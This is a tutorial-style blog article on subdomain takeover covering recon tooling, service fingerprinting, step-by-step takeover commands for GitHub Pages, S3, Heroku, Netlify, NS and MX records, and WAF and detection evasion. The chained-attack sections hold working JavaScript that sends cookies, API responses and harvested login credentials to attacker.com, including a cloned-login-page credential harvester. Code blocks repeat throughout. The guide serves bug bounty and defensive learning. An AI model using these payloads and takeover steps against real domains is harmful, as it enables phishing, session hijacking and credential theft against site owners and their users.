June 22, 2026
Subdomain Takeover: A Complete Guide from Beginner to Advanced
A comprehensive deep-dive for bug bounty hunters, penetration testers, and security researchers
cyber security
12 min read
A comprehensive deep-dive for bug bounty hunters, penetration testers, and security researchers
Table of Contents
- Introduction & What Is Subdomain Takeover?
- How It Works — The Root Cause
- Prerequisites & Lab Setup
- Reconnaissance — Finding Targets
- Fingerprinting Vulnerable Services
- Exploitation by Service Type
- Advanced Techniques
- WAF & Detection Bypass
- Chained Attacks
- Automation at Scale
- Remediation
- Responsible Disclosure
1. Introduction
Subdomain takeover is one of the most impactful misconfiguration vulnerabilities in modern web security. It allows an attacker to serve content under a victim's trusted subdomain — enabling phishing, session hijacking, cookie theft, credential harvesting, and bypassing CORS or CSP policies.
It has been found in companies like Uber, Snapchat, Microsoft, GitHub, Shopify, and hundreds more — often paying out $500–$5,000+ on bug bounty programs. HackerOne and Bugcrowd consistently rank it as a high/critical severity finding.
This article is intended for authorized security research, bug bounty hunting, and educational purposes only. Never test systems without explicit written permission.
2. How It Works — The Root Cause
The vulnerability arises from a dangling DNS record: a DNS entry (usually a CNAME) pointing to an external service that has been deprovisioned but the DNS record was never removed.
Anatomy of the Attack
victim.com CNAME victim.s3-website-us-east-1.amazonaws.comvictim.com CNAME victim.s3-website-us-east-1.amazonaws.comIf the S3 bucket victim no longer exists, an attacker can:
- Register the same bucket name on AWS
- Upload malicious content
- Any request to
victim.comnow serves attacker-controlled content
DNS Record Types Involved
Type Example Risk CNAME sub.victim.com → victim.github.io Very High A/AAAA Points to released cloud IP High NS Delegated zone with expired registrar domain Critical MX Dangling mail exchange Medium
3. Prerequisites & Lab Setup
Tools You Need
# Install Go (required for many tools)
sudo apt install golang-go -y
# Subdomain enumeration
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/v2/cmd/dnsx@latest
go install -v github.com/projectdiscovery/httpx/v2/cmd/httpx@latest
# Subdomain takeover detection
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/haccer/subjack@latest
go install github.com/Ice3man543/SubOver@latest
pip3 install dnsrecon sublist3r
# DNS tools
sudo apt install dnsutils amass -y
# Web fuzzing
go install github.com/ffuf/ffuf/v2@latest# Install Go (required for many tools)
sudo apt install golang-go -y
# Subdomain enumeration
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/v2/cmd/dnsx@latest
go install -v github.com/projectdiscovery/httpx/v2/cmd/httpx@latest
# Subdomain takeover detection
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/haccer/subjack@latest
go install github.com/Ice3man543/SubOver@latest
pip3 install dnsrecon sublist3r
# DNS tools
sudo apt install dnsutils amass -y
# Web fuzzing
go install github.com/ffuf/ffuf/v2@latestSet Up Your Environment
mkdir ~/takeover-lab && cd ~/takeover-lab
mkdir {recon,dns,fingerprint,exploit,screenshots}
export TARGET="example.com"mkdir ~/takeover-lab && cd ~/takeover-lab
mkdir {recon,dns,fingerprint,exploit,screenshots}
export TARGET="example.com"4. Reconnaissance — Finding Subdomains
Passive Enumeration
# Subfinder — fastest passive enumeration
subfinder -d $TARGET -all -recursive -o recon/subfinder.txt
# Amass passive mode
amass enum -passive -d $TARGET -o recon/amass_passive.txt
# Certificate transparency (crt.sh)
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | \
jq -r '.[].name_value' | \
sed 's/\*\.//g' | \
sort -u > recon/crtsh.txt
# Scrape Wayback Machine for historical subdomains
curl -s "http://web.archive.org/cdx/search/cdx?url=*.$TARGET&output=text&fl=original&collapse=urlkey" | \
awk -F/ '{print $3}' | sort -u > recon/wayback.txt
# SecurityTrails via API (free tier)
curl -s "https://api.securitytrails.com/v1/domain/$TARGET/subdomains" \
-H "APIKEY: YOUR_KEY" | jq -r '.subdomains[]' | sed "s/$/.${TARGET}/" > recon/securitytrails.txt
# Combine all results
cat recon/*.txt | sort -u > recon/all_subdomains.txt
wc -l recon/all_subdomains.txt# Subfinder — fastest passive enumeration
subfinder -d $TARGET -all -recursive -o recon/subfinder.txt
# Amass passive mode
amass enum -passive -d $TARGET -o recon/amass_passive.txt
# Certificate transparency (crt.sh)
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | \
jq -r '.[].name_value' | \
sed 's/\*\.//g' | \
sort -u > recon/crtsh.txt
# Scrape Wayback Machine for historical subdomains
curl -s "http://web.archive.org/cdx/search/cdx?url=*.$TARGET&output=text&fl=original&collapse=urlkey" | \
awk -F/ '{print $3}' | sort -u > recon/wayback.txt
# SecurityTrails via API (free tier)
curl -s "https://api.securitytrails.com/v1/domain/$TARGET/subdomains" \
-H "APIKEY: YOUR_KEY" | jq -r '.subdomains[]' | sed "s/$/.${TARGET}/" > recon/securitytrails.txt
# Combine all results
cat recon/*.txt | sort -u > recon/all_subdomains.txt
wc -l recon/all_subdomains.txtActive Enumeration (DNS Brute Force)
# Download top wordlists
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-110000.txt
# DNS brute force with dnsx
dnsx -d $TARGET -w subdomains-top1million-110000.txt \
-o recon/brute_force.txt \
-t 100 -rl 500
# Permutation-based discovery (finds dev-api, api-v2, etc.)
go install github.com/d3mondev/puredns/v2@latest
puredns bruteforce subdomains-top1million-110000.txt $TARGET \
-r resolvers.txt -w recon/puredns.txt# Download top wordlists
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-110000.txt
# DNS brute force with dnsx
dnsx -d $TARGET -w subdomains-top1million-110000.txt \
-o recon/brute_force.txt \
-t 100 -rl 500
# Permutation-based discovery (finds dev-api, api-v2, etc.)
go install github.com/d3mondev/puredns/v2@latest
puredns bruteforce subdomains-top1million-110000.txt $TARGET \
-r resolvers.txt -w recon/puredns.txtGitHub & Code Leak Mining
# Search GitHub for hardcoded subdomains
# Use github-subdomains tool
go install github.com/gwen001/github-subdomains@latest
github-subdomains -t $TARGET -token YOUR_GITHUB_TOKEN -o recon/github.txt
# Manual GitHub dorks
# site:github.com "example.com" "subdomain"
# filename:.env "example.com"
# filename:config.yml "example.com"# Search GitHub for hardcoded subdomains
# Use github-subdomains tool
go install github.com/gwen001/github-subdomains@latest
github-subdomains -t $TARGET -token YOUR_GITHUB_TOKEN -o recon/github.txt
# Manual GitHub dorks
# site:github.com "example.com" "subdomain"
# filename:.env "example.com"
# filename:config.yml "example.com"5. Fingerprinting Vulnerable DNS Records
Step 1: Resolve All Subdomains
# Check which subdomains actually resolve
cat recon/all_subdomains.txt | dnsx -silent -o dns/resolved.txt
# Get CNAME chains for all subdomains
cat dns/resolved.txt | dnsx -cname -silent -o dns/cnames.txt
# Find NXDOMAIN responses (dangling = potential takeover)
cat recon/all_subdomains.txt | dnsx -silent -rcode noerror,nxdomain \
| grep NXDOMAIN > dns/nxdomain.txt# Check which subdomains actually resolve
cat recon/all_subdomains.txt | dnsx -silent -o dns/resolved.txt
# Get CNAME chains for all subdomains
cat dns/resolved.txt | dnsx -cname -silent -o dns/cnames.txt
# Find NXDOMAIN responses (dangling = potential takeover)
cat recon/all_subdomains.txt | dnsx -silent -rcode noerror,nxdomain \
| grep NXDOMAIN > dns/nxdomain.txtStep 2: Manual CNAME Investigation
# Check specific subdomain
dig CNAME dev.example.com +short
dig A dev.example.com +short
host -t CNAME staging.example.com
# Check if the CNAME target is unclaimed
# e.g., if CNAME -> victim.github.io, visit github.com to see if page exists
curl -s -o /dev/null -w "%{http_code}" https://dev.example.com# Check specific subdomain
dig CNAME dev.example.com +short
dig A dev.example.com +short
host -t CNAME staging.example.com
# Check if the CNAME target is unclaimed
# e.g., if CNAME -> victim.github.io, visit github.com to see if page exists
curl -s -o /dev/null -w "%{http_code}" https://dev.example.comStep 3: Automated Fingerprinting with Subjack
subjack -w dns/resolved.txt \
-t 100 \
-timeout 30 \
-ssl \
-o fingerprint/vulnerable.txt \
-vsubjack -w dns/resolved.txt \
-t 100 \
-timeout 30 \
-ssl \
-o fingerprint/vulnerable.txt \
-vStep 4: Nuclei Takeover Templates
# Update nuclei templates
nuclei -update-templates
# Run subdomain takeover templates
nuclei -l dns/resolved.txt \
-t ~/nuclei-templates/takeovers/ \
-o fingerprint/nuclei_takeover.txt \
-severity medium,high,critical \
-c 50# Update nuclei templates
nuclei -update-templates
# Run subdomain takeover templates
nuclei -l dns/resolved.txt \
-t ~/nuclei-templates/takeovers/ \
-o fingerprint/nuclei_takeover.txt \
-severity medium,high,critical \
-c 50Service Fingerprint Reference Table
CNAME Pattern Service Takeover Method *.github.io GitHub Pages Create repo with same name *.s3-website*.amazonaws.com AWS S3 Create bucket with matching name *.azurewebsites.net Azure Web Apps Register app service with same name *.herokuapp.com Heroku Create Heroku app *.netlify.app Netlify Create Netlify site *.vercel.app Vercel Create Vercel project *.ghost.io Ghost Create Ghost blog *.surge.sh Surge.sh surge CLI with same domain *.myshopify.com Shopify Register Shopify store *.zendesk.com Zendesk Register Zendesk account *.helpscoutdocs.com HelpScout Register HelpScout docs *.readme.io ReadMe Register ReadMe project *.statuspage.io Atlassian Create Statuspage *.fastly.net Fastly CDN Register Fastly service *.unbouncepages.com Unbounce Register Unbounce account *.strikingly.com Strikingly Register Strikingly site
6. Exploitation by Service Type
6.1 GitHub Pages
Condition: sub.victim.com CNAME victim.github.io and the repo doesn't exist.
# Verify the repo doesn't exist
curl -s https://api.github.com/repos/victim/victim.github.io | jq .message
# Should return: "Not Found"
# Step 1: Create a GitHub repo named exactly the same
# Go to github.com → New Repository → Name: "victim.github.io" (or just "victim" for org pages)
# Step 2: Create index.html with PoC
mkdir poc && cd poc
git init
echo '<h1>Subdomain Takeover PoC - Reported to HackerOne</h1>' > index.html
git add . && git commit -m "PoC"
git branch -M gh-pages # Use gh-pages branch for project pages
git remote add origin https://github.com/YOURUSERNAME/victim.git
git push -u origin gh-pages
# Step 3: Go to repo Settings > Pages > set source to gh-pages branch
# Step 4: Add custom domain: sub.victim.com
# GitHub will verify via CNAME record — it resolves because victim already set it!# Verify the repo doesn't exist
curl -s https://api.github.com/repos/victim/victim.github.io | jq .message
# Should return: "Not Found"
# Step 1: Create a GitHub repo named exactly the same
# Go to github.com → New Repository → Name: "victim.github.io" (or just "victim" for org pages)
# Step 2: Create index.html with PoC
mkdir poc && cd poc
git init
echo '<h1>Subdomain Takeover PoC - Reported to HackerOne</h1>' > index.html
git add . && git commit -m "PoC"
git branch -M gh-pages # Use gh-pages branch for project pages
git remote add origin https://github.com/YOURUSERNAME/victim.git
git push -u origin gh-pages
# Step 3: Go to repo Settings > Pages > set source to gh-pages branch
# Step 4: Add custom domain: sub.victim.com
# GitHub will verify via CNAME record — it resolves because victim already set it!Proof: Visit https://sub.victim.com — your content loads under their domain.
6.2 AWS S3
Condition: sub.victim.com CNAME victim.s3-website-us-east-1.amazonaws.com and bucket doesn't exist.
# Verify bucket doesn't exist
aws s3 ls s3://victim 2>&1
# Should say: NoSuchBucket
# Or check via HTTP
curl -I http://victim.s3-website-us-east-1.amazonaws.com
# Returns 404 NoSuchBucket = vulnerable
# Step 1: Create the bucket with EXACT same name in the EXACT same region
aws s3 mb s3://victim --region us-east-1
# Step 2: Enable static website hosting
aws s3 website s3://victim \
--index-document index.html \
--error-document error.html
# Step 3: Make bucket public
aws s3api put-bucket-policy --bucket victim --policy '{
"Version":"2012-10-17",
"Statement":[{
"Sid":"PublicReadGetObject",
"Effect":"Allow",
"Principal":"*",
"Action":["s3:GetObject"],
"Resource":["arn:aws:s3:::victim/*"]
}]
}'
# Step 4: Upload PoC
echo '<h1>S3 Subdomain Takeover PoC</h1>' > index.html
aws s3 cp index.html s3://victim/# Verify bucket doesn't exist
aws s3 ls s3://victim 2>&1
# Should say: NoSuchBucket
# Or check via HTTP
curl -I http://victim.s3-website-us-east-1.amazonaws.com
# Returns 404 NoSuchBucket = vulnerable
# Step 1: Create the bucket with EXACT same name in the EXACT same region
aws s3 mb s3://victim --region us-east-1
# Step 2: Enable static website hosting
aws s3 website s3://victim \
--index-document index.html \
--error-document error.html
# Step 3: Make bucket public
aws s3api put-bucket-policy --bucket victim --policy '{
"Version":"2012-10-17",
"Statement":[{
"Sid":"PublicReadGetObject",
"Effect":"Allow",
"Principal":"*",
"Action":["s3:GetObject"],
"Resource":["arn:aws:s3:::victim/*"]
}]
}'
# Step 4: Upload PoC
echo '<h1>S3 Subdomain Takeover PoC</h1>' > index.html
aws s3 cp index.html s3://victim/Note: AWS now blocks public buckets by default. You may need to disable "Block Public Access" in the console.
6.3 Azure Web Apps / App Services
Condition: CNAME points to victim.azurewebsites.net and app is deleted.
# Check if app exists
curl -s -o /dev/null -w "%{http_code}" https://victim.azurewebsites.net
# 404 = app doesn't exist, potentially vulnerable
# Using Azure CLI
az login
az webapp create \
--name victim \
--resource-group myRG \
--plan myPlan
# Add custom domain
az webapp config hostname add \
--webapp-name victim \
--resource-group myRG \
--hostname sub.victim.com# Check if app exists
curl -s -o /dev/null -w "%{http_code}" https://victim.azurewebsites.net
# 404 = app doesn't exist, potentially vulnerable
# Using Azure CLI
az login
az webapp create \
--name victim \
--resource-group myRG \
--plan myPlan
# Add custom domain
az webapp config hostname add \
--webapp-name victim \
--resource-group myRG \
--hostname sub.victim.com6.4 Heroku
# Check if Heroku app exists
curl -s -o /dev/null -w "%{http_code}" https://victim.herokuapp.com
# 404 with "No such app" = vulnerable
# Install Heroku CLI
npm install -g heroku
# Create app with exact same name
heroku create victim
# Add custom domain
heroku domains:add sub.victim.com --app victim
# Deploy PoC
git init poc-heroku && cd poc-heroku
cat > index.html << 'EOF'
<h1>Heroku Subdomain Takeover PoC</h1>
EOF
cat > Procfile << 'EOF'
web: python3 -m http.server $PORT
EOF
git add . && git commit -m "PoC"
heroku git:remote -a victim
git push heroku main# Check if Heroku app exists
curl -s -o /dev/null -w "%{http_code}" https://victim.herokuapp.com
# 404 with "No such app" = vulnerable
# Install Heroku CLI
npm install -g heroku
# Create app with exact same name
heroku create victim
# Add custom domain
heroku domains:add sub.victim.com --app victim
# Deploy PoC
git init poc-heroku && cd poc-heroku
cat > index.html << 'EOF'
<h1>Heroku Subdomain Takeover PoC</h1>
EOF
cat > Procfile << 'EOF'
web: python3 -m http.server $PORT
EOF
git add . && git commit -m "PoC"
heroku git:remote -a victim
git push heroku main6.5 Netlify
# Check response
curl -v https://victim.netlify.app 2>&1 | grep "Not Found"
# Create Netlify account, create site with the same name
# Or via CLI:
npm install -g netlify-cli
netlify login
mkdir poc-netlify && cd poc-netlify
echo '<h1>Netlify Takeover PoC</h1>' > index.html
netlify deploy --prod --dir=. --site=victim
netlify sites:update --name victim
# Add custom domain in Netlify dashboard
# Domain management → Add custom domain → sub.victim.com# Check response
curl -v https://victim.netlify.app 2>&1 | grep "Not Found"
# Create Netlify account, create site with the same name
# Or via CLI:
npm install -g netlify-cli
netlify login
mkdir poc-netlify && cd poc-netlify
echo '<h1>Netlify Takeover PoC</h1>' > index.html
netlify deploy --prod --dir=. --site=victim
netlify sites:update --name victim
# Add custom domain in Netlify dashboard
# Domain management → Add custom domain → sub.victim.com6.6 Surge.sh (Easiest Takeover)
# Surge.sh is trivially vulnerable — just claim the domain
npm install -g surge
mkdir poc-surge && cd poc-surge
echo '<h1>Surge Subdomain Takeover PoC</h1>' > index.html
# Deploy to exact subdomain
surge . sub.victim.com
# Surge will verify DNS — since CNAME already points there, it works instantly# Surge.sh is trivially vulnerable — just claim the domain
npm install -g surge
mkdir poc-surge && cd poc-surge
echo '<h1>Surge Subdomain Takeover PoC</h1>' > index.html
# Deploy to exact subdomain
surge . sub.victim.com
# Surge will verify DNS — since CNAME already points there, it works instantly6.7 Shopify
# Check response
curl -s https://victim.myshopify.com | grep -i "sorry"
# "Sorry, this shop is currently unavailable" = vulnerable
# Create a Shopify store at victim.myshopify.com (exact name)
# Go to shopify.com → Start Free Trial → Use store name: victim
# Then: Settings → Domains → Add Existing Domain → sub.victim.com# Check response
curl -s https://victim.myshopify.com | grep -i "sorry"
# "Sorry, this shop is currently unavailable" = vulnerable
# Create a Shopify store at victim.myshopify.com (exact name)
# Go to shopify.com → Start Free Trial → Use store name: victim
# Then: Settings → Domains → Add Existing Domain → sub.victim.com6.8 NS Record Takeover (Most Critical)
NS takeover is the most severe: you control the entire DNS zone for a subdomain.
Condition: internal.victim.com NS ns1.expired-registrar.com and expired-registrar.com is unregistered.
# Check NS records
dig NS internal.victim.com +short
# Returns: ns1.expiredprovider.com
# Check if the domain is expired/available
whois expiredprovider.com | grep -i "expir"
# If expired, register it!
# Step 1: Register expired-registrar.com at any registrar
# Step 2: Set up your own DNS server (or use Route53/Cloudflare)
# Step 3: Create a zone for expiredprovider.com
# Step 4: Add NS records pointing to your nameservers
# Step 5: Now you control ALL DNS for internal.victim.com
# You can create: mail.internal.victim.com, admin.internal.victim.com, etc.
# Using AWS Route53 for your NS:
aws route53 create-hosted-zone \
--name internal.victim.com \
--caller-reference $(date +%s)# Check NS records
dig NS internal.victim.com +short
# Returns: ns1.expiredprovider.com
# Check if the domain is expired/available
whois expiredprovider.com | grep -i "expir"
# If expired, register it!
# Step 1: Register expired-registrar.com at any registrar
# Step 2: Set up your own DNS server (or use Route53/Cloudflare)
# Step 3: Create a zone for expiredprovider.com
# Step 4: Add NS records pointing to your nameservers
# Step 5: Now you control ALL DNS for internal.victim.com
# You can create: mail.internal.victim.com, admin.internal.victim.com, etc.
# Using AWS Route53 for your NS:
aws route53 create-hosted-zone \
--name internal.victim.com \
--caller-reference $(date +%s)This allows email spoofing, MX record hijacking, and cookie harvesting across all sub-subdomains.
6.9 Expired/Unclaimed IP Addresses (A Record Takeover)
# Find A records pointing to cloud provider IP ranges
cat dns/resolved.txt | dnsx -a -silent | awk '{print $NF}' > dns/ips.txt
# Check if IPs are in cloud provider ranges (AWS, GCP, Azure)
# AWS IP ranges: https://ip-ranges.amazonaws.com/ip-ranges.json
wget https://ip-ranges.amazonaws.com/ip-ranges.json
python3 - << 'EOF'
import json, ipaddress
with open("ip-ranges.json") as f:
data = json.load(f)
aws_ranges = [p["ip_prefix"] for p in data["prefixes"]]
with open("dns/ips.txt") as f:
ips = f.read().splitlines()
for ip in ips:
for cidr in aws_ranges:
if ipaddress.ip_address(ip) in ipaddress.ip_network(cidr):
print(f"AWS IP: {ip}")
break
EOF
# Try to allocate an Elastic IP on AWS and check if it matches
aws ec2 allocate-address --domain vpc# Find A records pointing to cloud provider IP ranges
cat dns/resolved.txt | dnsx -a -silent | awk '{print $NF}' > dns/ips.txt
# Check if IPs are in cloud provider ranges (AWS, GCP, Azure)
# AWS IP ranges: https://ip-ranges.amazonaws.com/ip-ranges.json
wget https://ip-ranges.amazonaws.com/ip-ranges.json
python3 - << 'EOF'
import json, ipaddress
with open("ip-ranges.json") as f:
data = json.load(f)
aws_ranges = [p["ip_prefix"] for p in data["prefixes"]]
with open("dns/ips.txt") as f:
ips = f.read().splitlines()
for ip in ips:
for cidr in aws_ranges:
if ipaddress.ip_address(ip) in ipaddress.ip_network(cidr):
print(f"AWS IP: {ip}")
break
EOF
# Try to allocate an Elastic IP on AWS and check if it matches
aws ec2 allocate-address --domain vpc7. Advanced Techniques
7.1 CORS Abuse via Subdomain Takeover
Once you control a subdomain, you can bypass CORS:
// The victim site likely has:
// Access-Control-Allow-Origin: https://sub.victim.com
// Because it's "trusted"
// Your controlled subdomain can now exfiltrate data:
fetch('https://api.victim.com/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)))
});// The victim site likely has:
// Access-Control-Allow-Origin: https://sub.victim.com
// Because it's "trusted"
// Your controlled subdomain can now exfiltrate data:
fetch('https://api.victim.com/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)))
});7.2 Session Cookie Theft
// If cookies are scoped to .victim.com, your subdomain receives them
// Harvest with:
document.cookie // reads all .victim.com cookies
new Image().src = 'https://attacker.com/c?c=' + encodeURIComponent(document.cookie);// If cookies are scoped to .victim.com, your subdomain receives them
// Harvest with:
document.cookie // reads all .victim.com cookies
new Image().src = 'https://attacker.com/c?c=' + encodeURIComponent(document.cookie);7.3 OAuth / SSO Redirect URI Abuse
Many apps whitelist *.victim.com as a valid OAuth redirect:
https://accounts.google.com/o/oauth2/auth?
redirect_uri=https://sub.victim.com/callback
&client_id=victim_client_id
&response_type=tokenhttps://accounts.google.com/o/oauth2/auth?
redirect_uri=https://sub.victim.com/callback
&client_id=victim_client_id
&response_type=tokenIf sub.victim.com is taken over, you receive the OAuth token.
7.4 CSP Bypass
If victim.com has:
Content-Security-Policy: default-src 'self' *.victim.comContent-Security-Policy: default-src 'self' *.victim.comYour controlled subdomain can load and execute arbitrary JS on victim pages that include content from trusted subdomains.
7.5 Email Takeover via MX Record
# Check MX records
dig MX mail.victim.com +short
# Returns: 10 victim.sendgrid.net (if sendgrid account is deleted)
# Register a new SendGrid account and claim that domain
# You can now receive emails sent to *@mail.victim.com
# Including password reset emails!# Check MX records
dig MX mail.victim.com +short
# Returns: 10 victim.sendgrid.net (if sendgrid account is deleted)
# Register a new SendGrid account and claim that domain
# You can now receive emails sent to *@mail.victim.com
# Including password reset emails!7.6 Wildcard CNAME Takeover
# Check for wildcard CNAMEs
dig CNAME *.victim.com +short
# If *.victim.com CNAME -> victim.github.io and repo doesn't exist,
# ALL subdomains are vulnerable at once# Check for wildcard CNAMEs
dig CNAME *.victim.com +short
# If *.victim.com CNAME -> victim.github.io and repo doesn't exist,
# ALL subdomains are vulnerable at once7.7 Internal/Private Subdomain Escalation
# Sometimes internal tools use subdomains resolvable externally:
dig internal-jira.victim.com
dig vpn.victim.com
dig jenkins.victim.com
# If these CNAME to external services, takeover can expose internal tooling names
# and allow phishing of employees# Sometimes internal tools use subdomains resolvable externally:
dig internal-jira.victim.com
dig vpn.victim.com
dig jenkins.victim.com
# If these CNAME to external services, takeover can expose internal tooling names
# and allow phishing of employees8. WAF & Detection Bypass
8.1 Identifying WAF in Place
# Detect WAF
wafw00f https://sub.victim.com
# Manual fingerprinting
curl -s -I https://sub.victim.com | grep -i "x-cdn\|cloudflare\|akamai\|x-fw\|server"
# Check for WAF-specific headers
curl -H "X-Forwarded-For: 127.0.0.1" https://sub.victim.com -I# Detect WAF
wafw00f https://sub.victim.com
# Manual fingerprinting
curl -s -I https://sub.victim.com | grep -i "x-cdn\|cloudflare\|akamai\|x-fw\|server"
# Check for WAF-specific headers
curl -H "X-Forwarded-For: 127.0.0.1" https://sub.victim.com -I8.2 DNS Enumeration WAF Bypass
Some targets block direct DNS queries or rate-limit resolvers:
# Use multiple public resolvers
echo "8.8.8.8
1.1.1.1
9.9.9.9
208.67.222.222
64.6.64.6" > resolvers.txt
# Rotate resolvers with massdns
massdns -r resolvers.txt -t CNAME \
recon/all_subdomains.txt \
-o S > dns/massdns_output.txt
# Use DNS over HTTPS to bypass UDP filtering
curl "https://dns.google/resolve?name=sub.victim.com&type=CNAME"
curl "https://cloudflare-dns.com/dns-query?name=sub.victim.com&type=CNAME" \
-H "accept: application/dns-json"# Use multiple public resolvers
echo "8.8.8.8
1.1.1.1
9.9.9.9
208.67.222.222
64.6.64.6" > resolvers.txt
# Rotate resolvers with massdns
massdns -r resolvers.txt -t CNAME \
recon/all_subdomains.txt \
-o S > dns/massdns_output.txt
# Use DNS over HTTPS to bypass UDP filtering
curl "https://dns.google/resolve?name=sub.victim.com&type=CNAME"
curl "https://cloudflare-dns.com/dns-query?name=sub.victim.com&type=CNAME" \
-H "accept: application/dns-json"8.3 HTTP Scanning WAF Bypass
# Rotate User-Agents to avoid bot detection
cat > user-agents.txt << 'EOF'
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15
Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
EOF
# Use httpx with rotating UAs
httpx -l dns/resolved.txt \
-random-agent \
-timeout 10 \
-rate-limit 50 \
-o fingerprint/http_responses.txt
# Add random delays to avoid rate limiting
httpx -l dns/resolved.txt \
-random-agent \
-delay 200ms \
-rate-limit 20# Rotate User-Agents to avoid bot detection
cat > user-agents.txt << 'EOF'
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15
Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
EOF
# Use httpx with rotating UAs
httpx -l dns/resolved.txt \
-random-agent \
-timeout 10 \
-rate-limit 50 \
-o fingerprint/http_responses.txt
# Add random delays to avoid rate limiting
httpx -l dns/resolved.txt \
-random-agent \
-delay 200ms \
-rate-limit 208.4 Bypassing WAF on Verification Requests
Some WAFs block the verification checks for custom domains. Bypass methods:
# Use IP directly with Host header to bypass WAF
TARGET_IP=$(dig +short sub.victim.com | tail -1)
curl -H "Host: sub.victim.com" http://$TARGET_IP/
# Use HTTP/2
curl --http2 https://sub.victim.com
# Alternate ports
curl https://sub.victim.com:8443
# Try different protocols
curl http://sub.victim.com # HTTP instead of HTTPS# Use IP directly with Host header to bypass WAF
TARGET_IP=$(dig +short sub.victim.com | tail -1)
curl -H "Host: sub.victim.com" http://$TARGET_IP/
# Use HTTP/2
curl --http2 https://sub.victim.com
# Alternate ports
curl https://sub.victim.com:8443
# Try different protocols
curl http://sub.victim.com # HTTP instead of HTTPS8.5 Avoiding Detection During Recon
# Passive-only recon (no direct requests to target)
subfinder -d $TARGET -sources crtsh,certspotter,hackertarget \
-no-passive=false -all -o recon/passive_only.txt
# Use VPN/proxy rotation for active scanning
proxychains4 -q subfinder -d $TARGET -all
# Spread requests over time with rate limiting
dnsx -l recon/all_subdomains.txt \
-rl 10 \ # 10 requests/second
-rate-limit 10 \
-delay 100ms# Passive-only recon (no direct requests to target)
subfinder -d $TARGET -sources crtsh,certspotter,hackertarget \
-no-passive=false -all -o recon/passive_only.txt
# Use VPN/proxy rotation for active scanning
proxychains4 -q subfinder -d $TARGET -all
# Spread requests over time with rate limiting
dnsx -l recon/all_subdomains.txt \
-rl 10 \ # 10 requests/second
-rate-limit 10 \
-delay 100ms9. Chained Attacks
9.1 Takeover → Phishing Campaign
# 1. Take over support.victim.com
# 2. Clone victim's login page
wget --mirror --convert-links --page-requisites https://victim.com/login -P cloned/
# 3. Add credential harvester
cat >> cloned/login.html << 'EOF'
<script>
document.querySelector('form').addEventListener('submit', function(e) {
var creds = {
email: document.querySelector('[name=email]').value,
pass: document.querySelector('[name=password]').value
};
fetch('https://attacker.com/harvest', {method:'POST', body:JSON.stringify(creds)});
});
</script>
EOF
# 4. Deploy to taken-over subdomain
# Now send phishing emails FROM support@victim.com (via MX takeover)
# Linking to https://support.victim.com/login# 1. Take over support.victim.com
# 2. Clone victim's login page
wget --mirror --convert-links --page-requisites https://victim.com/login -P cloned/
# 3. Add credential harvester
cat >> cloned/login.html << 'EOF'
<script>
document.querySelector('form').addEventListener('submit', function(e) {
var creds = {
email: document.querySelector('[name=email]').value,
pass: document.querySelector('[name=password]').value
};
fetch('https://attacker.com/harvest', {method:'POST', body:JSON.stringify(creds)});
});
</script>
EOF
# 4. Deploy to taken-over subdomain
# Now send phishing emails FROM support@victim.com (via MX takeover)
# Linking to https://support.victim.com/login9.2 Takeover → XSS on Main Domain
If victim.com loads resources from subdomains:
<!-- victim.com has: -->
<script src="https://cdn.victim.com/app.js"></script>
<!-- If cdn.victim.com is taken over, serve: -->
// Malicious app.js
document.location = 'https://attacker.com/steal?c=' + document.cookie;<!-- victim.com has: -->
<script src="https://cdn.victim.com/app.js"></script>
<!-- If cdn.victim.com is taken over, serve: -->
// Malicious app.js
document.location = 'https://attacker.com/steal?c=' + document.cookie;9.3 Takeover → SSRF
If internal services trust subdomains of victim.com for SSRF callbacks:
# Set up listener on taken-over subdomain
# Trigger SSRF on main app pointing to your controlled subdomain
# Exfiltrate internal metadata or tokens# Set up listener on taken-over subdomain
# Trigger SSRF on main app pointing to your controlled subdomain
# Exfiltrate internal metadata or tokens10. Automation at Scale
10.1 Full Automated Pipeline
#!/bin/bash
# takeover-scan.sh — Full automated pipeline
TARGET=$1
OUTPUT="results_${TARGET}"
mkdir -p $OUTPUT/{recon,dns,takeover}
echo "[*] Starting recon for $TARGET"
# Passive enumeration
subfinder -d $TARGET -all -silent -o $OUTPUT/recon/subfinder.txt &
amass enum -passive -d $TARGET -o $OUTPUT/recon/amass.txt &
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | \
sort -u > $OUTPUT/recon/crtsh.txt &
wait
# Merge
cat $OUTPUT/recon/*.txt | sort -u > $OUTPUT/recon/all.txt
echo "[*] Found $(wc -l < $OUTPUT/recon/all.txt) subdomains"
# Resolve
cat $OUTPUT/recon/all.txt | dnsx -silent -o $OUTPUT/dns/resolved.txt
echo "[*] $(wc -l < $OUTPUT/dns/resolved.txt) subdomains resolved"
# Get CNAMEs
cat $OUTPUT/dns/resolved.txt | dnsx -cname -silent -o $OUTPUT/dns/cnames.txt
# Run nuclei takeover templates
nuclei -l $OUTPUT/dns/resolved.txt \
-t ~/nuclei-templates/takeovers/ \
-o $OUTPUT/takeover/nuclei.txt \
-severity medium,high,critical \
-silent
# Run subjack
subjack -w $OUTPUT/dns/resolved.txt \
-t 100 -timeout 30 -ssl \
-o $OUTPUT/takeover/subjack.txt
echo "[+] Done! Results in $OUTPUT/takeover/"
